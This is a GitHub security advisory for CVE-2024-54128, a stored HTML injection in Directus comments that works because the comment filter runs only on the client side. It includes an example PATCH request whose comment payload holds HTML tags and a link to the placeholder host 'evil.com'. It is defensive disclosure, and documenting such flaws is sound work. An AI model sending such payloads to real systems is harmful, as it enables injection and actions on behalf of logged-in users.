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Directus has an HTML Injection in Comment

Moderate severity GitHub Reviewed Published Dec 5, 2024 in directus/directus • Updated Dec 5, 2024

Package

npm @directus/app (npm)

Affected versions

>= 11.0.0, < 13.3.1

Patched versions

13.3.1
npm directus (npm)
>= 10.10.0, < 10.13.4
>= 11.0.0-rc.1, < 11.2.2
10.13.4
11.2.2

Description

Summary

The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.

Details

The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.

Example Request:

PATCH /activity/comment/3 HTTP/2
Host: directus.local

{
  "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>"
}

Example Response:

{
  "data": {
    "id": 3,
    "action": "comment",
    "user": "288fdccc-399a-40a1-ac63-811bf62e6a18",
    "timestamp": "2023-09-06T02:23:40.740Z",
    "ip": "10.42.0.1",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
    "collection": "directus_files",
    "item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a",
    "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>",
    "origin": "https://directus.local",
    "revisions": []
  }
}

Example Result:

Screenshot 2023-09-06 094536

Impact

With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.

References

@br41nslug br41nslug published to directus/directus Dec 5, 2024
Published by the National Vulnerability Database Dec 5, 2024
Published to the GitHub Advisory Database Dec 5, 2024
Reviewed Dec 5, 2024
Last updated Dec 5, 2024

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

EPSS score

0.043%
(11th percentile)

Weaknesses

CVE ID

CVE-2024-54128

GHSA ID

GHSA-r6wx-627v-gh2f

Source code

Credits

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